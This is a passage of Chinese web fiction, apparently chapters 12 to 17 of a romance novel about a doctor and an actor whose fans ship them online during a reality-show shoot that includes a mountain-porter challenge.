他们初遇那天是那年夏天温度最高的一天，哪怕什么都不做汗水也会往下淌，室外几百米都看不见一个人。
用当年季满谦的话来说，季杭和司云起能遇见，纯属是俩人傻一块儿去了。
但凡有个人没那么傻，他俩都遇不见。
初遇时炎日当空，刺眼的阳光挤过行道树叶子中的缝隙投在地面，斑斑点点。蝉和鸟来回交替穿梭在茂密的枝丫里，耳边没一刻清静。
司云起桀骜恣意，表情酷酷的，话又多又密。
……
时过境迁。
如今和曾经。早就不一样了。
季杭曾想过很多次再见司云起一面，每每有这个念头时又会被自己制止。
还是不见的好。
这个综艺倒是推了他一把，他凭着不可推
12. 两个影子
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超话头像是视频里他们对视的截图，把扛着摄像机的跟拍大哥p掉了。
鉴于只知道一位是司云起，另一位不知姓甚名谁家住何方，超话里的小姑娘们决定cp名就叫“两个影子”，并自称为“月光”，申请创建一晚上，就已经有了两万小月光。
这超话能有这么高的热度，不只是因为他们在纷乱环境中安静的对视，那一幕诚然有氛围很好磕，但更主要的原因还是因为网友们的创作。
第一个写出他们重逢梗的小故事已经被搬运到超话里，加精后高高悬挂首端，热度居高不下，也奠定了几个元素：
[十年][久别重逢][彼此暗恋]。
超话里每隔十几秒就有个帖子嚎叫【太太真的要分开十年吗[心碎心碎心碎]，有个小女孩轻轻碎掉了……】
等到有太太写出新的小故事后又去哭【对对对就是这个味儿！小情侣你们谁都别好过，我也不能好过，我的心还能再碎一点，太太您写的太好了，和您磕一对是我的福气，下辈子我还要和您做网友！】
季杭点进去时有条新帖子冒了出来——
【姐妹们，你们有没有想过，我们磕的是一对我们臆想出来的cp，可能这次过后，我们就再也没饭吃了……】
转眼间这条帖子下就堆了很多评论——
【今天磕今天的，明天的明天再说。】
【[哭泣.jpg]是我了，一家只有一顿饭，但我吃的是百家饭，只要我磕的够多，我就饿不死（）】
【没关系的宝宝，另一个大可能是个素人，热度小一点才对他们好。吃不上饭没关系，他们幸福就好了！】
季杭退出微博，韦流竹已经坐到了他身边，追问：“季医生，你们昨晚到底为什么对视那么久啊？”
季杭装傻看向窗外：“我近视。”
“那司老师呢？”韦流竹问。
季杭：“你去问他。”
韦流竹怏怏：“那我也没那么好奇了。”
乔炎看着韦流竹无聊，提议：“玩个游戏？”
韦流竹：“好哇！”
邓承点着手机问：“什么游戏？”
……
在乔炎提出第五个游戏被拒绝后，邓承说：“干脆开黑吧。”
韦流竹：“好哇！”说完又小声吐槽：“乔导你还是综艺导演呢……”
乔炎耳尖地听到：“……”
季杭说：“你们玩吧，我不玩。”
季杭能看到坐他旁边的韦流竹手机屏幕，左右也睡不着，他便盯着看。
韦流竹选的是中路某热门英雄，当他锁定后，看到对面打野锁定了某个打野，怒拍前面的靠背，说：“脏东西！”
季杭：“谁？”
韦流竹给他指，可怜兮兮地告诉季杭自己这把完了。
季杭看不太懂，也只能看到韦流竹的视角。
他看到有个坐着摇摇车的小孩一直跟着韦流竹的英雄，就问：“这是谁一直跟着你？”
韦流竹说：“辅助，艾宣。”
“哦，”季杭一知半解。
过了会儿，他注意到对方总有个神出鬼没的家伙出现在韦流竹身边，可每当这时，又会有个队友跳出来给那红色血条的家伙一棒子，他又问：“这个来保护你的是谁？”
韦流竹说：“打野，乔导。”
“哦，”季杭依旧一知半解。
后来他看着韦流竹走到了对方的领域里，草丛里突然冒出来四个人，韦流竹瞬间就没了。
同时，他还看到，在韦流竹被对方四个围攻时，这边的打野越过大半个地图匆匆朝这个方向赶来，在韦流竹嘎后也没离开，而是一棒子敲掉对方大半管血条，几秒后手机响起“quadra kill”的女声。
接下来的游戏里，季杭看到韦流竹身边总有那个打野的影子，就算距离远那家伙也能越过大半个地图过去。
接下来的每场游戏都是。
在第四局，季杭问：“这个跟着你的是艾宣吗？”
韦流竹：“不是，艾宣是法师，我是射手，这把乔导是辅助，他保护我。”
在十二分钟左右，韦流竹在辅助的帮助下拿到五杀，高兴地大叫：“截图截图！我五杀了！我以前最多四杀啊啊啊啊！”
季杭看到五杀之后韦流竹接近满的血条和他身边血条几乎不见的乔炎，偏头看了一下，看到乔炎看向韦流竹的目光。
专注，温柔。
季杭突然发现了什么。
这局之后没再继续打，他们又开始看起各自的手机。
乔炎收到一条赞助商发来的消息，皱眉看了几秒，截图发给了司云起。
司云起的手机大概在李达手里，并未及时回复。
乔炎干脆没回赞助商的消息，装没看到。哪知这赞助商还挺着急，见乔炎没回复，直接打了语音过来。
第一次乔炎调成了静音，第二次那赞助商找到了小悠那。
乔炎只能语音回过去。
赞助商姓关，说话向来客客气气的，在通话中告诉乔炎：“我这儿有个人，下一期安排到你这综艺做飞行嘉宾吧。”
乔炎婉拒：“下一期的题材和脚本都已经制作好了，临时加人，这不太合适啊关总。”
关良笑笑，咳嗽了两声：“那就辛苦辛苦团队的人们，加个人进去不麻烦。”
乔炎没应声，关良说：“我算得上最大的投资人吧？乔导这个面子都不给？”
手机震动了一声，乔炎把手机从耳边挪开，看到司云起发来的消息：
【没事，随他们。】
乔炎眉头松了几分，说：“好。”
他说话的时候并未避着车内的人，别人都能听到，也能猜出一些，但不知道这个走关系被塞进来的飞行嘉宾是谁，也很有分寸感的装没听到。
韦流竹无聊的刷着手机，突然身体一激灵。
他旁边的季杭看向他。
韦流竹回看，一字一顿，颇为认真：“季医生，有人抢你男人。”
季杭：“？”
韦流竹把手机屏冲向季杭，让他看清那个吓人的微博词条：
#借我瓶水点赞司云起cp超话#
这回轮到季杭身体一激灵。
韦流竹瞪大眼睛皱着眉：“季医生你看，她们说借我瓶水暗恋司老师多年，从几年里频频为他反黑就能看出来。而且平时从未见过借我瓶水吃瓜，结果司云起这个久别重逢的影子cp刚出现，借我瓶水就摸进超话点赞了帖子，不管是手滑还是正宫意识作祟，都只能代表——”
季杭怔怔：“什么？”
韦流竹：“借我瓶水
13. 热搜
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曹书望有时候觉得他就是那种，拼命劝朋友要和某个男人保持距离不要一头栽进去，但朋友还是义务反顾栽进去，最后自己还要被邀请去朋友婚礼上的大冤种。
这个想法从他看到网上季杭和司云起对视的剪辑视频后，更为坚定。
季杭回来当晚，曹书望叫他出去吃饭。
他们选了一家小巷子里的烧烤店，老板在店外搭棚摆了很多桌子，曹书望选了个最边上的位置，旁边挨着冬青树。
曹书望问来问去，季杭给他的回答都是“没有”。
倒不是怀疑季杭骗自己，只是曹书望看着季杭的模样，恍惚间像是回到了十年前——
季杭送司云起走的那一天。
但那时候的季杭没精力也没时间去感受内心的酸疼，只是偶尔在某些时刻，他能看到季杭怔忡、长久又安静地站在一个地方，出神。
叫他后他又迅速恢复正常，像是什么异常的情绪都没存在过。
这十年里，季杭从没提起过司云起，偶尔曹书望嘴欠拉司云起说几句，季杭也是很平常的反应。
他还以为季杭不喜欢司云起了。
“季杭，”曹书望捏着酒罐，喝了两口，说：“你清醒点吧。”
季杭觉得他很清醒，至少在和司云起相遇这一周里，他没任何不妥的话和举动，他能清醒着去拒绝司云起，无论心有多疼。
可曹书望的意思并不是季杭理解的那样，他是想让季杭清醒一点，别再喜欢司云起了。
话都要出口了，曹书望又忽然止住。
要是季杭真能因为一句话就不喜欢了，又何至于煎熬这些年。
季杭没回答他，兴许是不知道该怎么解释，其实他很清醒。
他唯一不清醒的就是，在四罐啤酒下肚后，他忽然扯起嘴角笑了笑，声音混着些酒后的哑：“书望，刚遇见司云起时，我竟然觉得他还喜欢我。我真是疯了。”
曹书望问：“为什么。”
“不为什么，”季杭摇摇头，“就是很荒唐的想法，怎么可能呢。”
曹书望拿开他手里的酒罐，“怎么不可能。”
季杭掀起眼皮看了他一眼，又垂下眼眸，长长的睫毛投出一道阴影，掩住眼底。
“我和他十年没联系，谁会喜欢一个十年没见过的人呢。”
曹书望注视着他，说：“你不是么。”
顿了很久，季杭轻声开口：“我么。”
他有点醉了，也可能是早就爱习惯了所以不觉得是什么稀奇事，还认真地回想了几秒才说，“那还是有点可能的。”
又过了几秒，他又喃喃：“还是一点可能都别有了……”
曹书望摇摇头，把酒又塞回季杭手里，说：“你还是喝吧。”
当晚他们分开时，曹书望问季杭：“你俩那超话，是不是还挺让你烦心的？”
季杭“嗯”了一声。
曹书望的目光逐渐坚定。
隔天季杭是白班，下午有个门诊多耽误了一会，手机震动他也没管。
离开医院后看到是微信小号的消息，点进去后季杭看到一个验证申请。
是韦流竹。
季杭通过验证，没主动发消息。
他习惯性点开微博，发现页的小框热搜里，有个很离谱的词条——
#今我来司#
季杭难得揉了下眼睛，认定是自己看错了，结果点进去后看到这个词条好好地待在第八的位置上。
起因是早上八点多有个营销号扒了借我瓶水所有和司云起有关的微博，写了一篇长长的分析，中心思想无非是借我瓶水暗恋司云起多年。
基于借我瓶水前期在网友心中良好的名声，以及司云起的知名度，这个热搜一天了还挂在前十。
季杭本来觉得，以后多关注几个社会新闻，转发一下别的明星的消息，“今我来司”的热度会随着时间渐渐消下去，没想到现在吃瓜的不吃瓜的都认定自己暗恋司云起多年了。
季杭斟酌着语言，想发条微博澄清。
下一秒弹出个消息框，曹书望问他：【怎么样，现在没那么烦心了不。】
季杭突然有个直觉，他给曹书望打语音过去，开门见山：“热搜是你……”
曹书望十分坦诚，直接打断了他的话：“作为你的兄弟，见到你为那个什么影子超话烦心，是我最不愿意见到的。所以本人稍稍动用了些小关系，你放心，现在大部分网友的注意力都去了那个营销号和司云起那，没两天就把你俩的超话忘了。”
季杭：“……你、”
曹书望：“昨晚我回到家，越想越心疼你，就上网搜了搜你那个超话，想着有没有什么办法端了它，但是我不懂这些啊，就问了问我的助理小姑娘。那小姑娘你也见过，不过我可没提你啊，她问我为什么看那个超话不顺眼，我随便找了个理由。结果她说最好不要砸别人的家，因为现在也有很多人都在磕司云起的另一个cp。我一问，才知道又冒出来个什么‘今我来司’，啧啧你听，多矫情个名儿。后来我就突然想到，我不砸别人的家，那我可以把司云起另一个cp捧上去啊！”
“所以你找了个营销号，营销他俩？”季杭呼出一口气，阖上眼睛，问：“买上热搜花了多少钱？”
“这……”曹书望说，“本来钱是不少的，但后来，没花……”
“没花？”季杭重复道。
曹书望：“真没花，那营销号刚发了微博，评论区就跟炸了窝似的，他说他还没见过那种盛况，后来纯粹是被顶上热搜的，写文章的钱他也没收，说他这个号头一回上热搜，直接把公司定的kpi完成了，让我以后有事还找他。”
季杭：“……”
今我来司超话创立一天，粉丝突破十万人。
广场上有的在嘲，有的在骂司云起，有的在骂借我瓶水。
还有的，说这热搜是被借我瓶水买上去的，因为嫉妒司云起和那个不知身份的影子所以自导自炒。
手机里曹书望的声音传来，三分得意七分邀功：“怎么样，我够意思不！听哥们一句劝，你十年前为啥送他走，你再想想现在的你们还有可能吗，现在的你们更是什么都失去不起。我看借我瓶水似乎真挺喜欢他的，他俩想炒就让他俩炒吧，你就做好你的工作，综艺拍完后你俩继续陌路，就对了。”
季杭平静地对他说：“好。”
曹书望满意地回答：“这就对了！”
后来季杭编辑微博时，看到新出来的微博，彻底理解了什么叫：
祸不单行、
屋漏偏逢连夜雨。
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14. 第二期
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乔炎给司云起打电话，问他想做什么。
司云起疑惑：“嗯？”
“你知道网上都怎么黑你吗，他们说你会端水，为了麦麸脸都不要了。我也搞不懂你，你喜欢季医生，那你有些小动作支持支持影子超话无可厚非，关键你怎么又暗戳戳回应今我来司了啊？”
“我只是觉得，”司云起停顿两秒，声音听起来算是愉悦，“不能厚此薄彼。”
乔炎当然不会觉得司云起是为了炒cp那些流量，以他对司云起的了解，重要性能和季杭相提并论的——
没有。
所以……
乔炎问：“季医生和借我瓶水…是……”
“别透露给任何人，”司云起说。
乔炎恍然，怪不得司云起那么笃定季杭从未忘记过他，原来他早就知道借我瓶水的皮下是季杭。
乔炎之前翻过借我瓶水的微博，其中关于司云起的很多澄清的照片，都没在大众视线流传过，要是完全私密也不可能，但收集肯定会费些功夫，他也曾觉得这个人够奇怪。
现如今知道这人就是季杭，他突然有些搞不懂了。
本以为只是司云起单恋，可……季杭对司云起的感情，也不是如表现出来的那样冷淡吧。
乔炎说：“这你放心。”
他们的事情终归还是他们自己解决，乔炎不会说太多。
“第一期内容已经剪辑好过审了，这周五播。周四出发去下一站。”乔炎岔开话题。
“嗯。”
“还有，”乔炎说，“关良安排进来的飞行嘉宾，合同签了，两期。”
“嗯。”
乔炎说：“是欧瑜。”
司云起嗓音平平：“那是谁？”
“开拍的时候，买通稿黑你的那个，之前和韦流竹是一个团的。”
司云起无所谓地“哦”了一声，过了几秒，说：“你为难么。为难的话直接踢出去，这赞助不要了也可以。”
乔炎笑了：“没事，早点休息吧。”
挂断时他想起什么，急道：“这次我们统一出发，你别再偷偷去接季医生了！”
不知道司云起听没听到，话说完已经挂了。
-
季杭上两个白班，休息一天，就又跟着综艺去下个地点了。
科室里的关系都还不错，但是腾不出时间聚餐，只是见着了问两句，对综艺内容和明星并没太多好奇。
病房里有个小姑娘，做了个小手术，转到普通病房。朋友白天都在上学，父母做生意没赶过来，给她找了个护工。小姑娘性格很好，活泼爱笑，天天冲着手机傻笑。
第三天了，她发现来查房的这个医生，之前没见过。
嗯，有点异常的帅。
而且这个医生，查完房走出去后接了个电话，在病房门口停留了片刻，小姑娘看过去时，忽然觉得这个身影有些眼熟。
好像在哪见过。
上午护士来换吊瓶，小姑娘问：“姐姐，今早上值班的医生之前没见过呢？”
护士想了几秒，笑着说：“季医生啊，你来的时候他没在医院。”
“那他去哪里了？学习了吗？”
“有个综艺需要随队医生，医院派季医生去了，这不，他也就回来两天，马上又要去了。”
小姑娘坐起来一些，应着：“这样哦。”
但是那位季医生的身影真的有些眼熟，在哪见过呢……
小姑娘想不起来，索性点开手机发碎碎念：【刚刚来查房的医生好帅啊！！！】
磕cp刚互关的同担立刻来评论：【抱抱宝宝，一个人住院委屈啦~医生很帅嘛，眼睛寄给你替我多看两眼。】
小姑娘正打算回，猛然间看到同担的头像——
这也是两个影子超话的头像，是司云起和另一位对视的截图。
小姑娘突然想起来他为什么觉得在门口接电话的季医生熟悉了！
身姿修长挺拔，白大褂的袖子有些松，接电话时袖口垂落，手腕清癯，腕骨线条很好看。
和视频里的影子如出一辙的相似。
小姑娘思考两秒，回复同担：【这个医生的气质让我觉得影子有脸了，太好代了！】
季杭下班后去看了季满谦，这些年季满谦的身体越发硬朗，注重饮食又注重锻炼。
晚饭后他看着季杭又拿起手机，说：“别看手机了，咱们出去散散步。”
季杭应下，和他一起走出家门。
当初季杭想让季满谦和他一起住，季满谦不愿意，一来是觉得季杭长大了该有些自己的私人空间，二来他也不喜欢城市里的环境和氛围。
季杭跑了很多中介，最终租在了这郊区，季满谦住这里比老家好的多，也方便季杭回来看他。季杭又在市里租了个一居室，房子一般，但生活设施配套齐全，也离医院近，步行十几分钟就能到。
这里车流稀少，更多的是树叶随风沙沙作响的声音。
季满谦还是像很多年前那样，让季杭走在路的里侧。时不时转头看上一眼，看着早就比自己高的身影，偶尔还会恍惚，原来季杭都已经这么大了。
“过了今年生日，就28了，”季满谦说，“还是不打算结婚吗。”
“嗯，”季杭说。
季满谦对他的回答没什么意外，笑了笑，说：“过两天我回趟老家，你表叔家的狗下的崽满月了，我带两只回来。”
他们继续往前走着，季杭抬头看了眼天上的月亮，又垂下眼睛，说：“爸，对不起。”
季满谦是个很随和的人，之前在学校里教学生书法，后来生病辞职，辗转求医多年，痊愈后来到这里。小区人并不多，季满谦周末会在社区活动室里练字，偶然一次被个年轻人见到，邀请他教小区里孩子们的书法。
季杭时常觉得他好像什么事情都没做好，他知道季满谦孤独，却也改变不了什么。
“瞎道什么歉，”季满谦拍了他肩膀一下，“你挺好的，我也挺好的，这样的生活真挺好的，我很满足。”
然后季满谦和他说：“我最近上网挺多的。”
没等季杭回答，季满谦问：“我看到网上很多人在磕两个影子。那影子我倒是能认出来……”
季杭攥了下手指。
“就是不明白，他们说司云起是1，另一个影子是0，这个我们没看懂。”
季杭下颌线绷紧。
“我还看到很多图片，都是些……那叫什么呢，创作？”
季杭听到自己的声音：“你看了吗。”
季满谦说：“那字太小了，我就没看。”
季杭松了一口气。
季满谦余光看到季杭的反应，心说得亏自己编了个没看。
其实他也不是没看，当时很多图片上的字都是翻转的，甚至图片还是倒过去的，他搞不明白。结果后来他点开个长图，那长图上写着“往下拉”，往下拉了之后还是“往下拉”。
他就那样拉啊拉，拉到最下面看到了正常的字。
然后他就不太正常了。
季满谦心想这社会不应该提.性.色.变，但他只看了几段就匆匆退出来——
15. 山
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欧瑜频频朝后看，看到韦流竹能坐的离司云起那么近很是不平衡。
他也听不到韦流竹在说什么，只能看到司云起微微皱起的眉头。
“你在看什么？”艾宣正常音量的话响在车厢内，本就只有六位嘉宾，剩下的四个都朝这边看来。
欧瑜懵懂地“嗯”了一声，表情人畜无害，问艾宣：“你在和我说话嘛？”
艾宣：“不然呢，这个角度除了你又没别人。”
欧瑜依旧微笑着：“能来这个综艺我觉得很荣幸，尤其是司老师，以前合作过一部电影，但都没机会说句话，今天我终于能得偿所愿了。”
韦流竹暗暗咒骂：“就这个嘴脸，不知道骗了多少人！”
潘同大大咧咧道：“哈哈哈哈哈你俩的交集不止那部电影吧，还有热搜上。”
欧瑜说：“是，司老师经常上热搜。”
潘同还在说：“就前不久，你俩不是还一起上热搜了吗，有谣言说他抢你资源。”
欧瑜的表情终于有了裂痕，他干笑两声，说：“那件事我不知情，一开始没说话也是公司不允许我发声，各位前辈们应该知道的，像我这样的小明星，在公司里没什么话语权。”
欧瑜见没人理，主动喊道：“司老师，真的很不好意思。”
司云起睨了他一眼，说：“我早就忘了。”
欧瑜这才坐下，再也不往后看了。
到了目的地后，他等着别人先下车，意外听到韦流竹小声问司云起："司老师你到底对谁更有好感啊！”
欧瑜装着收拾自己的东西，动作慢吞吞的，后面的话却再没听到，只听到句什么“医生”？
这一期的拍摄地点也是旅游景点，山。
嘉宾们要体验的是挑山工。
在到达这里之前，嘉宾们对于录制内容都是不知情的。所以当导演公布挑战内容时，有扛树栽树经验在前的常驻mc倒是没什么太大的反应，但欧瑜脸色瞬间就变了。
到达已经临近傍晚，酒店安排在山脚下，导演让他们先休息，隔天早上四点开始录制。
小悠事先分配好了房间，李达凑过去看了看，拿了两张房卡回来，小声说：“咱们和季医生是挨着的。这张房卡是季医生的，司老师，你给他送过去？”
司云起垂眸盯着房卡看了半晌，却只拿过了自己的房卡，说：“去还给小悠吧。”
李达不明所以，却也乖乖照做了。
司云起先进了房间，这里设施不算太好，隔音也一般。没多久他就听到走向隔壁的脚步声。
五点整，小悠在群里通知嘉宾和工作人员下楼吃饭。
李达收拾好东西打开门，等着司云起。
隔壁的门也在这时候打开，季杭戴了个鸭舌帽，眉眼都掩在帽檐之下。
他就是这时候和司云起打了照面。
这一层有来往的人，季杭脚步顿住，微微仰脸，似乎是为了将司云起看的更清楚些。
李达看着司云起，本以为他又会说些什么。
司云起却如不熟般，说了句“季医生”，后再无下文。
季杭“嗯”着应了一声，从他们身前走过。
李达急得跺了下脚，他无法理解这次的司老师为什么对季医生这么冷淡。
他或许能够在之后的某一天突然理解，不论是季医生或者司老师，都是很矛盾又别扭的人。
这一刻的季杭见到冷淡的司云起，自嘲前不久竟然敢幻想司云起还喜欢自己。
而这一刻的司云起想起车上韦流竹说的话，他说季杭因为和自己的cp难过到想跳楼。
韦流竹不清楚，他只知道季杭和自己的cp，不知道今我来司另一位也是季杭。可司云起知道。
他们都以为自己的爱成了对方的阻碍，所以没有说。
季杭爱了司云起十年，却从不曾提过半个“爱”字。他以自己的方式爱着，也因为爱而后退着。
司云起亦是同样，他表白被拒绝，被迫分开，后来这条路终于走顺了，却因为季医生的后退而小心翼翼。
季杭的后退，司云起的前进里都掺杂了爱，不够纯粹，就足够他们痛苦。
李达跟在司云起身后，很是不理解。
楼下是烧烤，团队的人占了十张桌子。下面还没多少人，韦流竹看到季杭立刻招手：“季医生来这里！”
季杭没去，去了只有工作人员的地方。
没一会儿人就到齐了。不需要拍摄，也就不太引人注意。
嘉宾们都没怎么说话，主要是担心被认出来后会引起骚乱。吃完饭后他们迅速上楼，在电梯间欧瑜手机响起，他立刻接听，边往别的地方走边喊了声“丁哥”。
季杭和他擦肩而过，听到这两个字的时候猛然回了下头。
韦流竹在季杭后面，见到了他的反应。跟上去小声说：“都没和你介绍呢季医生，这是飞行嘉宾，之前和我一个团的，叫欧瑜。”
季杭问：“开拍前和司云起一起上热搜的人么？”
“对，就是他。”
季杭并不觉得这个综艺团队会为了舆论和热度去邀请开拍前和常驻mc有过冲突的人，但这个人确确实实来了。
韦流竹“害”了一声，“他是赞助商硬塞进来的。”
季杭回房间后把综艺的赞助商全都搜了一遍，所有控股人都看了，没看到那个名字。
“丁哥”。
让欧瑜立刻接听的人，把欧瑜塞进来做飞行嘉宾的人，姓丁的人……
季杭蹙眉，之前的很多事情在脑海中一闪而过。
门突然被敲响，季杭过去打开门，是小悠。
“季医生，”小悠特意过来提醒，“山里晚上很凉，你别忘记关窗盖好被子。”
季杭点头，“谢谢。”
小悠走后，季杭在门口驻足很久。
回忆裂了个口子，往事就会涌出来。
记忆最深刻的节点，他听着手机里传来司云起的声音——
有些哑，有些沉，彼时少年交付心意的话语穿过手机，嗓音略不真切。
踌躇却坚定，紧张却勇敢：“季杭，我喜欢你。”
那时候的季杭高兴又难过。
可很久、很久，他没有发出一个音节，亦没有动一下位置。
……
艾宣从房间出来，看到的就是前面的季医生对着司老师房间愣神的画面。
因为季医生背对着她，并没察觉到什么。
对面韦流竹的房间门也打开，艾宣冲他比了个“嘘”的手势。
韦流竹纳闷地探头探脑，看到了季医生，瞬间嘴就撇下去了。
艾宣：？
韦流竹小声说：“你来我房间吧！”
艾宣走过去，嘀的一声关上门。
他们没看到，在他们身后隔了几间的位置，欧瑜拍了段视频。
韦流竹音量正常了，问艾宣：“我看见你也总刷那超话，你是不是也磕他们？”
艾宣点点头。
他俩一同问道：“你磕哪一对？”
默了几秒。
艾宣：“两个影子！”
韦流竹：“今我来司！”
“……”
又默了几秒，他俩白了对方一眼，异口同声：“没品！”
按理来说，他们应该是对家。
再说严重点，是
16. IP地址
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乔炎待在司云起房间里，看到网上到处都是借我瓶水发言的截图，没忍住笑出声：“季医生这人，看着平和，倒挺会怼人。”
司云起瞥了他一眼：“没事的话快走，我要休息了。”
乔炎继续划动手机，顿了顿，说：“也不是没事。”
司云起：“怎么。”
乔炎收了手机往门口走，话中带笑：“就是你们的两对cp，热度又高了点。”
司云起终于有了点兴趣，点开手机。
和他隔了一面墙的季杭微博私信未读量疯长，评论和点赞数爆加。
起初艾宣和韦流竹恋情谣言发酵时，只是双方粉丝和网友在意。
可借我瓶水发了那条评论后，今我来司粉纷纷去围观，边夸借我瓶水边磕糖。因为在之前借我瓶水帮反黑的人里，并没有艾宣和韦流竹的影子。今我来司cp粉自然认为这是借我瓶水爱屋及乌，现在司云起和艾宣韦流竹在一个团综，所以才替他们说话的。
没想到！
借我瓶水发评论显示的ip地址，和司云起是一个ip！！！
【两个人，一个ip，什么含金量我不多说，太太们，饭饭，饿饿】
【好好好，你俩毫不避讳了是吧，没准这评论都是水瓶哥在司老师见证下发出去的！】
【笔呢！我来写！】
今我来司超话里已经到闹洞房的环节了。
两个影子粉也去围观了，毕竟算是对家。
没想到！
这个视频这么糊！这个视频主角明明是艾宣和韦流竹！为什么！为什么他们前面的那个背影那么出挑！为什么那个背影那么熟悉！就这个背影，这个身量，一个人可能认错，但几万的cp粉不可能认错，天天画图产出的太太不可能认错！
【艾宣和韦流竹在这，证明司云起也住在这里吧？这证明什么！我就问你这证明什么！！】
【救命他们都跳到我脸上了，如果这都不是真的那你告诉我什么才是真的！】
【爸爸妈妈我磕到真的了！】
两个影子超话里：娃生了，是龙凤胎！
季杭扔开手机，很认真地思索事情到底是怎么发展到这个程度的。
他思索不出来，过了十一点后，想着人们第二天要很早起，应该都睡了，拿上手机出了门。
艾宣和韦流竹被拍的视频，他有个怀疑对象。
他比对着视频里的方向和位置，走到一个位置。
这个位置拍出来的视频和网上的视频基本重合，可这个房间……
里面是潘同。
但是别人特意走到这里来拍也不是没可能，季杭想找个机会问问小悠那个新来的嘉宾是哪间。
一声轻响，在空荡的走廊里有些明显。季杭抬眼看去，司云起也在这时转身，进入他的镜头里。
本没有在录像，可季杭的手指不受控地轻点了下，录像开始计时。
司云起原地顿了几秒才朝着季杭这边走来。
视线里的人慢慢清楚，镜头里的画面渐渐清晰。
“在做什么？”在离季杭还有三四米的位置，司云起止住脚步，问。
季杭停了录像，手垂向身侧，提醒道：“今天拍艾宣和韦流竹视频的人可能是团队里的人，你……注意一些。”
司云起闻言，眉梢轻轻挑了一下，“季医生，我应该注意什么呢。”
季杭没说话。
司云起声音很轻，在寂静的空间里莫名有几分哄人的意思：“季医生，这些年，我从来没有过绯闻。”
季杭知道。
这些年司云起网络上的任何消息，怕是再没人能比季杭更清楚的了。
“记错了，”司云起忽然道，“是有的。”
季杭握着手机的力道蓦然一紧。
司云起朝他温柔地笑：“就是这段时间和你的cp。”
其实扫兴难听的话季杭能说出很多，他每次的沉默都并非是不知道说什么，而是不想说。
他不想总是对司云起说那些违心的话。
这时的他也装作无所谓的模样，说：“给你造成麻烦了。如果需要配合澄清，我随时可以。”
司云起说：“没关系的，不需要。”
他说完后朝前走了两步，又说：“季医生，谢谢你的提醒，我会注意的。”
季杭“嗯”了一声，司云起已经和他擦肩。
他偏头，看着司云起一步步走开，最后停在某扇门前。
季杭不知道那是谁的房间，可司云起却像是知道他心所想一般，转头告诉他：“这是欧瑜的房间。”
像是有根细长的线捆在心上，又因为司云起短短的话而一点点收紧。
季杭的声音听起来很平静：“好。”
鞋尖动了动，他转身回自己的房间，这时身后又传来司云起的声音。
“季医生。”
季杭停下脚步，没有转身。
空荡的走廊显得司云起嗓音清醇，莫名缱绻，他说：“我是去提醒他不要暗中搞小动作。”
那根线倏地一下，断开了。
司云起看着他的背影，“季医生，早点休息。”
＊
早上四点开拍，最晚三点半就要起床。
经历第一期后，嘉宾们都知道这档综艺不适合带妆。起床后简单洗漱就去集合了。
天将亮未亮，集合点在山下一个废弃的凉亭里。
里面有移动小车，上面装着很多包纯净水和箱装方便面。
而他们的任务是，将这些东西，挑到目的地。
共六位嘉宾，节目组做了六个牌子，上面分别是“90斤、75斤、60斤、50斤，40斤，40斤。”
嘉宾需要按照规定，原地转10圈后才能上前选择自己要承担的重量。
艾宣是第一个转完的，并且没有任何晕眩。她平稳地走过去，在40斤和50斤里犹豫两秒，选择了40斤。
韦流竹和欧瑜几乎是同一时间转完，他们从两个角度冲去，双手都碰到了“40斤”的牌子。
但欧瑜抢先一步，从韦流竹手里夺了过去。
韦流竹“哼”了一声，他和艾宣的视频和谣言是谁放出去的，他心里有数。本来他也没想选40斤，但看到欧瑜从转圈前就一直盯着“40斤”那块牌子，就想和他抢一抢。
没抢到的话，那50斤和60斤也才差10斤而已。
就选60斤吧。
他刚走过去，乔炎就提醒道：“拿了牌子之后就不能再更改了。你们一趟搬不完，下一趟每个人也还是这个数量。”
韦流竹闻言一把拿过“60斤”，装作不满道：“乔导，你是不是看不起我！”
他说话间另外三个人也已经转完了，司云起看都没看别的，直接拿了“90斤”。
剩下75和50给邓承和潘同。
这俩还谦让上了。
邓承：“你拿吧。”
潘同见状也不抢了：“你拿吧。”
邓承：“本来想和你抢的，但看到流竹都拿了60斤，我要是拿50斤岂不是还不如他。”
潘同：“我也是这么想的。”
韦流竹：“……你们！！
17. 热搜
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到下午三点，嘉宾挑完了两趟。
这次的目的地是半山腰，比第一趟走的要远多了。
但这次他们的速度并没有差很多。
就连司云起和潘同折返回去帮他们时，艾宣和韦流竹还是坚持自己将方便面挑到了目的地，怎么也不肯让帮忙。
潘同很好奇：“流竹这趟话怎么这么少，真累着了？”
邓承摇摇头，说：“不是。”
“我们遇到了挑山工。”邓承解释道。
邓承一直和艾宣、韦流竹走在一起，远远地被前面三个落下一大截。
韦流竹也确实一直在喊累，“我真的觉得我的两个肩膀快肿成驼峰了，哎，世界上怎么会有这么……”
他的话戛然而止。
邓承回头一看，身边正有个挑山工正慢慢上着台阶，走在台阶的最边侧，肩上挑着比他们的还要多两三倍的饮用水。
挑山工在他们三人的注视下一步一层台阶，穿着汗衫，肩上垫着块深蓝色毛巾。担子就压在他瘦弱黝黑的肩膀上。
明明每一步看起来都很缓很慢，可就是一步步地超过了他们。
旁边有游客跟上前搭话，被他们听到了。
游客想要买三瓶水，挑着担子的大爷说：“不行啊妮儿，我卖不了，我有老板。”
游客又问：“那您这是要挑到哪啊？”
大爷说：“山顶。”
“一趟多少钱啊？”
“七十。”
“您一天能挑几回啊？”
“早上四点开始，三四回吧，三回是大多数，有时候也能四回。”
……
那之后，一向话多没心没肺的韦流竹再没说一个“累”字。
他们休息了两个小时，又开始第三趟。
他们已经推算出这四趟的目的地是越来越高的，第四趟应该是山顶。
因为晚上他们定的是住山顶的酒店，所以决定这一回直接挑到山顶，然后去酒店。
但休息两个小时显然对他们效果不大，尤其是已经肿了的肩膀，担子刚挑起来就是无法形容的痛楚。
这一趟他们走的格外慢，中途休息了很多次。
到晚上八点，他们只走了四分之一。
他们都忘了，这天是综艺第一期开播的日子。
凌晨四点集合时他们还在互相提醒，中午吃饭的时候要转发官微的微博宣传，实际上那时候他们早累的什么都想不起来了。
站在不同的门口，就这么孤零零的开播了。
综艺广场上有网友在讨论：
【怎么回事，这第一期都播上了，那几个嘉宾怎么都没宣传？】
【好奇怪哦，正常来说不应该自己宣传+摇圈内好友帮忙宣传吗，这综艺好安静啊！】
【扑街预警！】
【说综艺扑街的人，你好。扑你弟！五位常驻mc都还在体验挑山工！】
【有粉丝去夜爬，在路上偶遇他们了，据说是他们今天挑的第三次[图片.jpg]，救命，你们能看清司云起肩上的担子吗！怎么看起来比别的嘉宾的重那么多！】
【体验挑山工？在哪里？上网暂停，我要去偶遇！】
【突然好期待第二期了怎么回事。】
